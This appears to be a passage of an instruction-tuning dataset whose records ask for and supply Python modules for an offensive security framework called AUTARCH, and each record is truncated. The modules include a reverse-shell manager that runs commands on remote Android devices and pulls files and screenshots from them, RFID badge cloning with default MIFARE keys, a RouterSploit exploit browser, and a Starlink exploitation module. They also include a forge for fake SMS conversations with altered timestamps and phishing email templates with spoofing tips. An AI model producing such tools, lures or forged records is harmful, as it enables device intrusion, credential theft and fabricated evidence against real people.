packer',\n },\n 'MPRESS': {\n 'section_names': [b'.MPRESS1', b'.MPRESS2'],\n 'magic': [],\n 'descripti
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that reverse shell — remote device management via archon. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: revshell\nCategory: offense\nDescription: Reverse Shell — remote device management via Archon", "output": "\"\"\"\nReverse Shell Manager - Manage incoming reverse shell connections from Archon companion app.\nControl the RevShell listener, manage sessions, execute commands, transfer files.\n\"\"\"\n\nDESCRIPTION = \"Reverse Shell — remote device management via Archon\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\n\nclass RevShellManager:\n \"\"\"Interactive reverse shell management menu.\"\"\"\n\n def __init__(self):\n from core.revshell import get_listener\n self._get_listener = get_listener\n\n @property\n def listener(self):\n return self._get_listener()\n\n def show_menu(self):\n li = self.listener\n sessions = li.list_sessions()\n alive = [s for s in sessions if s.get('alive', False)]\n\n print(f\"\\n{'='*55}\")\n print(\" Reverse Shell Manager\")\n print(f\"{'='*55}\")\n print(f\" Listener: {'RUNNING on ' + str(li.host) + ':' + str(li.port) if li.running else 'Stopped'}\")\n print(f\" Sessions: {len(alive)} active, {len(sessions)} total\")\n if li.running:\n print(f\" Token: {li.auth_token}\")\n print()\n print(\" -- Listener --\")\n print(\" 1) Start Listener\")\n print(\" 2) Stop Listener\")\n print(\" 3) Listener Status\")\n print()\n print(\" -- Sessions --\")\n print(\" 10) List Sessions\")\n print(\" 11) Select Session (interactive shell)\")\n print(\" 12) Execute Command\")\n print(\" 13) Disconnect Session\")\n print()\n print(\" -- Device Info --\")\n print(\" 20) System Info\")\n print(\" 21) Installed Packages\")\n print(\" 22) Running Processes\")\n print(\" 23) Network Connections\")\n print(\" 24) Logcat Output\")\n print()\n print(\" -- Capture --\")\n print(\" 30) Take Screenshot\")\n print(\" 31) Download File\")\n print(\" 32) Upload File\")\n print()\n print(\" 0) Back\")\n print()\n\n # ── Helpers ─────────────────────────────────────────────────────\n\n def _pick_session(self, prompt=\" Select session #: \"):\n \"\"\"Let user pick a session from the list.\"\"\"\n sessions = self.listener.list_sessions()\n alive = [s for s in sessions if s.get('alive', False)]\n if not alive:\n print(\" No active sessions.\")\n return None\n print(\"\\n Active Sessions:\")\n for i, s in enumerate(alive, 1):\n uptime_m = s.get('uptime', 0) // 60\n print(f\" {i}) [{s['session_id'][:8]}] {s['device']} \"\n f\"(Android {s['android']}, UID {s['uid']}) — {uptime_m}m\")\n try:\n choice = int(input(prompt).strip())\n if 1 <= choice <= len(alive):\n return alive[choice - 1]['session_id']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n return None\n\n def _get_session_obj(self, sid):\n \"\"\"Get the actual session object.\"\"\"\n session = self.listener.get_session(sid)\n if not session or not session.alive:\n print(f\" Session {sid} not found or dead.\")\n return None\n return session\n\n # ── Listener ──────────────────────────────────────────────<E29480>
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that rfid/nfc badge cloning & analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: rfid_tools\nCategory: analyze\nDescription: RFID/NFC badge cloning & analysis", "output": "\"\"\"AUTARCH RFID/NFC Tools\n\nProxmark3 integration, badge cloning, NFC read/write, MIFARE operations,\nand card analysis for physical access security testing.\n\"\"\"\n\nDESCRIPTION = \"RFID/NFC badge cloning & analysis\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport shutil\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Card Types ───────────────────────────────────────────────────────────────\n\nCARD_TYPES = {\n 'em410x': {'name': 'EM410x', 'frequency': '125 kHz', 'category': 'LF'},\n 'hid_prox': {'name': 'HID ProxCard', 'frequency': '125 kHz', 'category': 'LF'},\n 't5577': {'name': 'T5577', 'frequency': '125 kHz', 'category': 'LF', 'writable': True},\n 'mifare_classic_1k': {'name': 'MIFARE Classic 1K', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'mifare_classic_4k': {'name': 'MIFARE Classic 4K', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'mifare_ultralight': {'name': 'MIFARE Ultralight', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'mifare_desfire': {'name': 'MIFARE DESFire', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'ntag213': {'name': 'NTAG213', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True},\n 'ntag215': {'name': 'NTAG215', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True},\n 'ntag216': {'name': 'NTAG216', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True},\n 'iclass': {'name': 'iCLASS', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'iso14443a': {'name': 'ISO 14443A', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'iso15693': {'name': 'ISO 15693', 'frequency': '13.56 MHz', 'category': 'HF'},\n 'legic': {'name': 'LEGIC', 'frequency': '13.56 MHz', 'category': 'HF'},\n}\n\nMIFARE_DEFAULT_KEYS = [\n 'FFFFFFFFFFFF', 'A0A1A2A3A4A5', 'D3F7D3F7D3F7',\n '000000000000', 'B0B1B2B3B4B5', '4D3A99C351DD',\n '1A982C7E459A', 'AABBCCDDEEFF', '714C5C886E97',\n '587EE5F9350F', 'A0478CC39091', '533CB6C723F6',\n]\n\n\n# ── RFID Manager ─────────────────────────────────────────────────────────────\n\nclass RFIDManager:\n \"\"\"RFID/NFC tool management via Proxmark3 and nfc-tools.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'rfid')\n os.makedirs(self.data_dir, exist_ok=True)\n self.dumps_dir = os.path.join(self.data_dir, 'dumps')\n os.makedirs(self.dumps_dir, exist_ok=True)\n\n # Tool discovery\n self.pm3_client = find_tool('pm3') or find_tool('proxmark3') or shutil.which('pm3') or shutil.which('proxmark3')\n self.nfc_list = shutil.which('nfc-list')\n self.nfc_poll = shutil.which('nfc-poll')\n self.nfc_mfclassic = shutil.which('nfc-mfclassic')\n\n self.cards: List[Dict] = []\n self.last_read: Optional[Dict] = None\n\n def get_tools_status(self) -> Dict:\n \"\"\"Check available tools.\"\"\"\n return {\n 'proxmark3': self.pm3_client is not None,\n 'nfc-list': self.nfc_list is not None,\n 'nfc-mfclassic': self.nfc_mfclassic is not None,\n 'card_types': len(CARD_TYPES),\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that routersploit framework interface. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: rsf\nCategory: offense\nDescription: RouterSploit Framework interface", "output": "\"\"\"\nAUTARCH RouterSploit Module\nInterface for RouterSploit Framework with module browser.\n\nProvides easy access to RSF modules for IoT/embedded device testing.\nUses the RSF interface from core/rsf_interface.py.\nIntegrates with rsf_terms.py and rsf_modules.py for descriptions.\n\"\"\"\n\nimport sys\nimport socket\nfrom pathlib import Path\nfrom typing import Optional\n\n# Module metadata\nDESCRIPTION = \"RouterSploit Framework interface\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\n# Add parent directory to path\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.rsf_interface import get_rsf_interface, RSFStatus\nfrom core.rsf import get_rsf_manager, RSFError\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.rsf_terms import (\n get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value\n)\nfrom core.rsf_modules import (\n get_module_info as get_library_module_info,\n search_modules as library_search_modules,\n get_modules_by_type as library_get_modules_by_type,\n format_module_help,\n MODULE_TYPES,\n)\n\n\nclass RSFMenu:\n \"\"\"RouterSploit menu interface with module browser.\"\"\"\n\n # Module categories for browsing\n MODULE_CATEGORIES = {\n 'exploits': {\n 'name': 'Exploits',\n 'description': 'Vulnerability exploits for routers, cameras, devices',\n 'color': Colors.RED,\n },\n 'creds': {\n 'name': 'Credentials',\n 'description': 'Default credential and brute-force modules',\n 'color': Colors.YELLOW,\n },\n 'scanners': {\n 'name': 'Scanners',\n 'description': 'Automated vulnerability scanners',\n 'color': Colors.CYAN,\n },\n 'payloads': {\n 'name': 'Payloads',\n 'description': 'Shellcode and payload generators',\n 'color': Colors.MAGENTA,\n },\n 'encoders': {\n 'name': 'Encoders',\n 'description': 'Payload encoding and obfuscation',\n 'color': Colors.GREEN,\n },\n }\n\n def __init__(self):\n self.rsf = get_rsf_interface()\n self.rsf_manager = get_rsf_manager()\n self.current_module = None # module path\n self.current_instance = None # loaded module instance\n self.current_info = None # RSFModuleInfo\n\n # Global target settings\n self.global_settings = {\n 'target': '',\n 'port': '',\n 'ssl': 'false',\n }\n\n def print_status(self, message: str, status: str = \"info\"):\n \"\"\"Print a status message.\"\"\"\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN,\n \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def wrap_text(self, text: str, width: int = 60, indent: str = \" \") -> str:\n \"\"\"Word-wrap text with indent.\"\"\"\n words = text.split()\n lines = []\n current_line = \"\"\n for word in words:\n if len(current_line) + len(word) + 1 <= width:\n current_line += (\" \" if current_line else \"\") + word\n else:\n if current_line:\n lines.append(current_line)\n current_line = word\n if current_line:\n lines.append(current_line)\n return f\"\\n{indent}\".join(lines)\n\n def resolve_hostname(self, hostname: str) -> Optional[
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that sdr/rf — spectrum analysis, signal capture & replay. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: sdr_tools\nCategory: analyze\nDescription: SDR/RF — spectrum analysis, signal capture & replay", "output": "\"\"\"AUTARCH SDR / RF Tools\n\nSoftware-defined radio integration for spectrum analysis, signal capture/replay,\nADS-B tracking, FM/AM demodulation, and GPS spoofing detection.\nSupports HackRF, RTL-SDR, and compatible devices.\n\"\"\"\n\nDESCRIPTION = \"SDR/RF — spectrum analysis, signal capture & replay\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport shutil\nimport struct\nimport subprocess\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Common Frequencies Reference ─────────────────────────────────────────────\n\nCOMMON_FREQUENCIES = {\n 'FM Broadcast': {\n 'range': '87.5-108 MHz',\n 'entries': [\n {'freq': 87500000, 'name': 'FM Band Start'},\n {'freq': 92100000, 'name': 'FM Example (92.1)'},\n {'freq': 97500000, 'name': 'FM Example (97.5)'},\n {'freq': 108000000, 'name': 'FM Band End'},\n ],\n },\n 'Aviation': {\n 'range': '108-137 MHz',\n 'entries': [\n {'freq': 108000000, 'name': 'VOR/ILS Start'},\n {'freq': 118000000, 'name': 'Air Traffic Control Start'},\n {'freq': 121500000, 'name': 'Emergency / Guard'},\n {'freq': 123450000, 'name': 'Air-to-Air (Unicom)'},\n {'freq': 128825000, 'name': 'Eurocontrol UAC'},\n {'freq': 132000000, 'name': 'Approach Control'},\n {'freq': 136975000, 'name': 'ACARS'},\n ],\n },\n 'Marine VHF': {\n 'range': '156-162 MHz',\n 'entries': [\n {'freq': 156000000, 'name': 'Ch 0 — Coast Guard'},\n {'freq': 156300000, 'name': 'Ch 6 — Intership Safety'},\n {'freq': 156525000, 'name': 'Ch 70 — DSC Distress'},\n {'freq': 156800000, 'name': 'Ch 16 — Distress / Calling'},\n {'freq': 161975000, 'name': 'AIS 1'},\n {'freq': 162025000, 'name': 'AIS 2'},\n ],\n },\n 'Weather': {\n 'range': '162.4-162.55 MHz',\n 'entries': [\n {'freq': 162400000, 'name': 'NOAA WX1'},\n {'freq': 162425000, 'name': 'NOAA WX2'},\n {'freq': 162450000, 'name': 'NOAA WX3'},\n {'freq': 162475000, 'name': 'NOAA WX4'},\n {'freq': 162500000, 'name': 'NOAA WX5'},\n {'freq': 162525000, 'name': 'NOAA WX6'},\n {'freq': 162550000, 'name': 'NOAA WX7'},\n ],\n },\n 'ISM 433': {\n 'range': '433-434 MHz',\n 'notes': 'Garage doors, key fobs, weather stations, tire pressure sensors',\n 'entries': [\n {'freq': 433050000, 'name': 'ISM 433.05 — Key Fobs'},\n {'freq': 433420000, 'name': 'ISM 433.42 — TPMS'},\n {'freq': 433920000, 'name': 'ISM 433.92 — Common Remote'},\n {'freq': 434000000, 'name': 'ISM Band End'},\n ],\n },\n 'ISM 915': {\n 'range': '902-928 MHz',\n 'notes': 'LoRa, smart meters, Z-Wave, RFID',\n 'entries': [\n {'freq': 902000000, 'name': 'ISM 902 Band Start'},\n {'freq': 903900000, 'name': 'LoRa Uplink Start'},\n {'freq': 915000000, 'name': 'ISM Center'},\n {'freq': 923300000, 'name': 'LoRa Downlink Start'},\n {'freq': 92
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'simulate' category that attack simulation & red team tools. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: simulate\nCategory: simulate\nDescription: Attack simulation & red team tools", "output": "\"\"\"\nAUTARCH Simulate Module\nAttack simulation and security testing\n\nRed team exercises and controlled attack simulations.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport socket\nimport hashlib\nimport random\nimport string\nimport time\nimport ftplib\nimport base64\nimport urllib.request\nfrom pathlib import Path\nfrom datetime import datetime\n\n# Module metadata\nDESCRIPTION = \"Attack simulation & red team tools\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"simulate\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\n\nclass Simulator:\n \"\"\"Attack simulation tools.\"\"\"\n\n def __init__(self):\n pass\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str, timeout: int = 60) -> tuple:\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.stdout.strip()\n except:\n return False, \"\"\n\n def password_audit(self):\n \"\"\"Audit password strength and check common passwords.\"\"\"\n print(f\"\\n{Colors.BOLD}Password Audit{Colors.RESET}\")\n print(f\"{Colors.DIM}Test password strength against common patterns{Colors.RESET}\\n\")\n\n password = input(f\"{Colors.WHITE}Enter password to test: {Colors.RESET}\")\n if not password:\n return\n\n print(f\"\\n{Colors.CYAN}Analyzing password...{Colors.RESET}\\n\")\n\n score = 0\n feedback = []\n\n # Length check\n if len(password) >= 16:\n score += 3\n feedback.append(f\"{Colors.GREEN}+ Excellent length (16+){Colors.RESET}\")\n elif len(password) >= 12:\n score += 2\n feedback.append(f\"{Colors.GREEN}+ Good length (12+){Colors.RESET}\")\n elif len(password) >= 8:\n score += 1\n feedback.append(f\"{Colors.YELLOW}~ Minimum length (8+){Colors.RESET}\")\n else:\n feedback.append(f\"{Colors.RED}- Too short (<8){Colors.RESET}\")\n\n # Character diversity\n has_upper = any(c.isupper() for c in password)\n has_lower = any(c.islower() for c in password)\n has_digit = any(c.isdigit() for c in password)\n has_special = any(c in '!@#$%^&*()_+-=[]{}|;:,.<>?' for c in password)\n\n if has_upper:\n score += 1\n feedback.append(f\"{Colors.GREEN}+ Contains uppercase{Colors.RESET}\")\n else:\n feedback.append(f\"{Colors.RED}- No uppercase letters{Colors.RESET}\")\n\n if has_lower:\n score += 1\n feedback.append(f\"{Colors.GREEN}+ Contains lowercase{Colors.RESET}\")\n else:\n feedback.append(f\"{Colors.RED}- No lowercase letters{Colors.RESET}\")\n\n if has_digit:\n score += 1\n feedback.append(f\"{Colors.GREEN}+ Contains numbers{Colors.RESET}\")\n else:\n feedback.append(f\"{Colors.RED}- No numbers{Colors.RESET}\")\n\n if has_special:\n score += 2\n feedback.append(f\"{Colors.GREEN}+ Contains special characters{Colors.RESET}\")\n else:\n feedback.append(f\"{Colors.YELLOW}~ No special characters{Colors.RESET}\")\n\n # Common patterns\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that sms/mms backup forge — create & modify backup conversations. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: sms_forge\nCategory: offense\nDescription: SMS/MMS Backup Forge — Create & Modify Backup Conversations", "output": "\"\"\"AUTARCH SMS/MMS Backup Forge\n\nCreate and modify SMS/MMS backup XML files in the format used by\n\"SMS Backup & Restore\" (SyncTech) -- the most popular Android SMS backup app.\nSupports full conversation generation, template-based message creation,\nbulk import/export, and timestamp manipulation.\n\"\"\"\n\nDESCRIPTION = \"SMS/MMS Backup Forge — Create & Modify Backup Conversations\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\n\ndef run():\n \"\"\"CLI entry point — this module is used via the web UI.\"\"\"\n print(\"SMS Forge is managed through the AUTARCH web interface.\")\n print(\"Navigate to Offense → SMS Forge in the dashboard.\")\n\nimport os\nimport csv\nimport json\nimport uuid\nimport time\nimport base64\nimport html\nfrom datetime import datetime\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Any\nfrom xml.etree import ElementTree as ET\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return Path(__file__).resolve().parent.parent / 'data'\n\n\n# ── Module-level singleton ──────────────────────────────────────────────────\n\n_instance: Optional['SMSForge'] = None\n\n\ndef get_sms_forge() -> 'SMSForge':\n \"\"\"Return the module singleton, creating it on first call.\"\"\"\n global _instance\n if _instance is None:\n _instance = SMSForge()\n return _instance\n\n\n# ── Built-in Conversation Templates ────────────────────────────────────────\n\nBUILTIN_TEMPLATES = {\n \"business_meeting\": {\n \"name\": \"Business Meeting\",\n \"description\": \"Scheduling a meeting, confirming time and place\",\n \"messages\": [\n {\"body\": \"Hi {contact}, are you available for a meeting on {date}?\", \"type\": 2, \"delay_minutes\": 0},\n {\"body\": \"Let me check my schedule. What time works for you?\", \"type\": 1, \"delay_minutes\": 12},\n {\"body\": \"How about {time} at {location}?\", \"type\": 2, \"delay_minutes\": 5},\n {\"body\": \"That works for me. I'll bring the {topic} documents.\", \"type\": 1, \"delay_minutes\": 8},\n {\"body\": \"Perfect. See you then!\", \"type\": 2, \"delay_minutes\": 3},\n {\"body\": \"See you there. Thanks for setting this up.\", \"type\": 1, \"delay_minutes\": 2},\n ],\n \"variables\": [\"contact\", \"date\", \"time\", \"location\", \"topic\"],\n },\n \"casual_chat\": {\n \"name\": \"Casual Chat\",\n \"description\": \"General friendly conversation between friends\",\n \"messages\": [\n {\"body\": \"Hey {contact}! How's it going?\", \"type\": 2, \"delay_minutes\": 0},\n {\"body\": \"Hey! Pretty good, just got back from {activity}. You?\", \"type\": 1, \"delay_minutes\": 15},\n {\"body\": \"Nice! I've been {my_activity}. We should hang out soon.\", \"type\": 2, \"delay_minutes\": 7},\n {\"body\": \"Definitely! How about {day}?\", \"type\": 1, \"delay_minutes\": 4},\n {\"body\": \"Sounds great, let's do it. I'll text you the details later.\", \"type\": 2, \"delay_minutes\": 3},\n {\"body\": \"Cool, talk to you later!\", \"type\": 1, \"delay_minutes\": 1},\n ],\n \"variables\": [\"contact\", \"activity\", \"my_activity\", \"day\"],\n },\n \"delivery_notification\": {\n \"name\": \"Delivery Notification\",\n \"description\": \"Package trackin
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'osint' category that decrypt and import snoop project databases. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: snoop_decoder\nCategory: osint\nDescription: Decrypt and import Snoop Project databases", "output": "\"\"\"\nAUTARCH Snoop Database Decoder Module\nDecrypts and imports Snoop Project databases into AUTARCH\n\"\"\"\n\nimport base64\nimport json\nimport os\nimport sys\nfrom pathlib import Path\n\n# Add parent directory to path for imports\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.banner import Colors\nfrom core.sites_db import SitesDatabase\n\n# Module metadata\nNAME = \"Snoop Decoder\"\nDESCRIPTION = \"Decrypt and import Snoop Project databases\"\nAUTHOR = \"darkHal Security Group\"\nVERSION = \"1.0\"\nCATEGORY = \"osint\"\n\n\nclass SnoopDecoder:\n \"\"\"Decoder for Snoop Project encoded databases.\"\"\"\n\n def __init__(self):\n self.sites_db = SitesDatabase()\n from core.paths import get_data_dir\n self.data_dir = get_data_dir() / \"sites\"\n self.data_dir.mkdir(parents=True, exist_ok=True)\n\n def decode_database(self, filepath: str) -> dict:\n \"\"\"Decode a Snoop database file.\n\n Args:\n filepath: Path to the encoded database file (BDdemo, BDfull, etc.)\n\n Returns:\n Decoded dictionary of sites.\n \"\"\"\n print(f\"{Colors.CYAN}[*] Reading encoded database...{Colors.RESET}\")\n\n with open(filepath, 'r', encoding='utf8') as f:\n db = f.read().strip()\n\n original_size = len(db)\n print(f\"{Colors.DIM} Original size: {original_size:,} chars{Colors.RESET}\")\n\n # Step 1: Decode base32\n print(f\"{Colors.CYAN}[*] Decoding base32...{Colors.RESET}\")\n try:\n db_bytes = base64.b32decode(db)\n except Exception as e:\n print(f\"{Colors.RED}[X] Base32 decode failed: {e}{Colors.RESET}\")\n return None\n\n print(f\"{Colors.DIM} After base32: {len(db_bytes):,} bytes{Colors.RESET}\")\n\n # Step 2: Reverse bytes\n print(f\"{Colors.CYAN}[*] Reversing byte order...{Colors.RESET}\")\n db_bytes = db_bytes[::-1]\n\n # Step 3: Decode UTF-8 with error handling\n print(f\"{Colors.CYAN}[*] Decoding UTF-8...{Colors.RESET}\")\n content = db_bytes.decode('utf-8', errors='replace')\n\n # Step 4: Reverse string\n print(f\"{Colors.CYAN}[*] Reversing string...{Colors.RESET}\")\n content = content[::-1]\n\n # Step 5: Parse JSON\n print(f\"{Colors.CYAN}[*] Parsing JSON...{Colors.RESET}\")\n try:\n data = json.loads(content)\n except json.JSONDecodeError as e:\n print(f\"{Colors.RED}[X] JSON parse failed: {e}{Colors.RESET}\")\n return None\n\n print(f\"{Colors.GREEN}[+] Successfully decoded {len(data):,} sites!{Colors.RESET}\")\n return data\n\n def save_decoded(self, data: dict, output_name: str = \"snoop_decoded.json\") -> str:\n \"\"\"Save decoded database to JSON file.\n\n Args:\n data: Decoded site dictionary.\n output_name: Output filename.\n\n Returns:\n Path to saved file.\n \"\"\"\n output_path = self.data_dir / output_name\n\n with open(output_path, 'w', encoding='utf8') as f:\n json.dump(data, f, indent=2, ensure_ascii=False)\n\n size_mb = output_path.stat().st_size / 1024 / 1024\n print(f\"{Colors.GREEN}[+] Saved to: {output_path}{Colors.RESET}\")\n print(f\"{Colors.DIM} File size: {size_mb:.2f} MB{Colors.RESET}\")\n\n return str(output_path)\n\n def import_to_database(self, data: dict) -> dict:\n \"\"\"Import decoded Snoop data into AUTARCH sites database.\n\n Args:\n data: Decoded site dictionary.\n\n Returns:\n Import statistics.\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that social engineering — phishing, pretexts, qr codes. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: social_eng\nCategory: offense\nDescription: Social engineering — phishing, pretexts, QR codes", "output": "\"\"\"AUTARCH Social Engineering Toolkit\n\nCredential harvesting page cloner, pretexting templates, QR code phishing,\nUSB drop payloads, vishing scripts, and campaign tracking.\n\"\"\"\n\nDESCRIPTION = \"Social engineering — phishing, pretexts, QR codes\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport time\nimport uuid\nimport base64\nimport struct\nimport hashlib\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\nfrom urllib.parse import urljoin, urlparse\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\ntry:\n import requests\n REQUESTS_AVAILABLE = True\nexcept ImportError:\n requests = None\n REQUESTS_AVAILABLE = False\n\ntry:\n import qrcode\n import io as _io\n QRCODE_AVAILABLE = True\nexcept ImportError:\n qrcode = None\n QRCODE_AVAILABLE = False\n\n\n# ── Pretext Templates ────────────────────────────────────────────────────────\n\nPRETEXT_TEMPLATES = {\n 'it_support': [\n {\n 'name': 'Password Reset',\n 'subject': 'Immediate Action Required: Password Reset',\n 'body': (\n 'Dear {target_name},\\n\\n'\n 'Our security team has detected unusual activity on your account. '\n 'As a precautionary measure, we require all employees to reset their '\n 'passwords within the next 24 hours.\\n\\n'\n 'Please click the link below to verify your identity and set a new password:\\n'\n '{link}\\n\\n'\n 'If you did not request this change, please contact the IT Help Desk immediately '\n 'at ext. 4357.\\n\\n'\n 'Best regards,\\n'\n 'IT Security Team'\n ),\n 'pretext_notes': 'Urgency + authority. Works best when sent from a spoofed IT domain. '\n 'Follow up with a phone call referencing the email for higher success rates.',\n },\n {\n 'name': 'Security Update Required',\n 'subject': 'Critical Security Patch — Action Required by EOD',\n 'body': (\n 'Hi {target_name},\\n\\n'\n 'A critical security vulnerability has been identified that affects your workstation. '\n 'IT has prepared an automated patch that must be installed today.\\n\\n'\n 'Please run the update tool at the link below:\\n'\n '{link}\\n\\n'\n 'Note: You may need to enter your network credentials to authenticate the update.\\n\\n'\n 'Thank you for your cooperation,\\n'\n 'IT Infrastructure Team'\n ),\n 'pretext_notes': 'Leverages fear of security breach. Pair with a fake update portal.',\n },\n {\n 'name': 'VPN Reconfiguration',\n 'subject': 'VPN Client Reconfiguration — New Certificate Required',\n 'body': (\n 'Dear {target_name},\\n\\n'\n 'Due to our migration to a new security infrastructure, all VPN certificates '\n 'will expire at midnight tonight. To maintain remote access, please download '\n 'the new VPN configuration file:\\n'\n '{link}\\n\\n'\n 'You will need to authenticate with your current credentials to generate '\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that starlink terminal security analysis & exploitation. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: starlink_hack\nCategory: offense\nDescription: Starlink Terminal Security Analysis & Exploitation", "output": "\"\"\"AUTARCH Starlink Terminal Security Analysis & Exploitation\n\nComprehensive security research module for authorized penetration testing\nof Starlink user terminals. Covers gRPC API exploitation, firmware analysis,\nnetwork attacks, RF analysis, and known vulnerability assessment.\n\nBased on public research including:\n- Lennert Wouters (KU Leuven) voltage fault injection on Starlink User Terminal\n- Quarkslab firmware analysis\n- Oleg Kutkov reverse engineering of the Starlink UT gRPC API\n- Public FCC filings and protocol documentation\n\"\"\"\n\nDESCRIPTION = \"Starlink Terminal Security Analysis & Exploitation\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport os\nimport re\nimport json\nimport math\nimport time\nimport socket\nimport shutil\nimport struct\nimport subprocess\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any, Tuple\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Starlink Reference Data ───────────────────────────────────────────────\n\nSTARLINK_INFO = {\n 'frequencies': {\n 'user_downlink': {'range': '10.7-12.7 GHz', 'band': 'Ku-band', 'desc': 'Satellite to dish'},\n 'user_uplink': {'range': '14.0-14.5 GHz', 'band': 'Ku-band', 'desc': 'Dish to satellite'},\n 'gateway_downlink': {'range': '17.8-18.6 GHz', 'band': 'Ka-band', 'desc': 'Satellite to ground station'},\n 'gateway_uplink': {'range': '27.5-29.1 GHz', 'band': 'Ka-band', 'desc': 'Ground station to satellite'},\n 'inter_satellite': {'range': '1550 nm laser', 'band': 'Optical', 'desc': 'Inter-satellite laser links'},\n },\n 'default_network': {\n 'dish_ip': '192.168.100.1',\n 'router_ip': '192.168.1.1',\n 'dns': '8.8.8.8',\n 'grpc_port': 9200,\n 'grpc_web_port': 9201,\n },\n}\n\n\n# ── Known Starlink CVEs & Vulnerability Database ────────────────────────────\n\nSTARLINK_CVES = [\n {\n 'cve': 'CVE-2022-29953',\n 'title': 'Voltage fault injection bypass of secure boot',\n 'severity': 'Critical',\n 'cvss': 8.4,\n 'affected': 'All Starlink UT hardware revisions prior to 2023 patch',\n 'description': (\n 'A voltage glitch attack on the 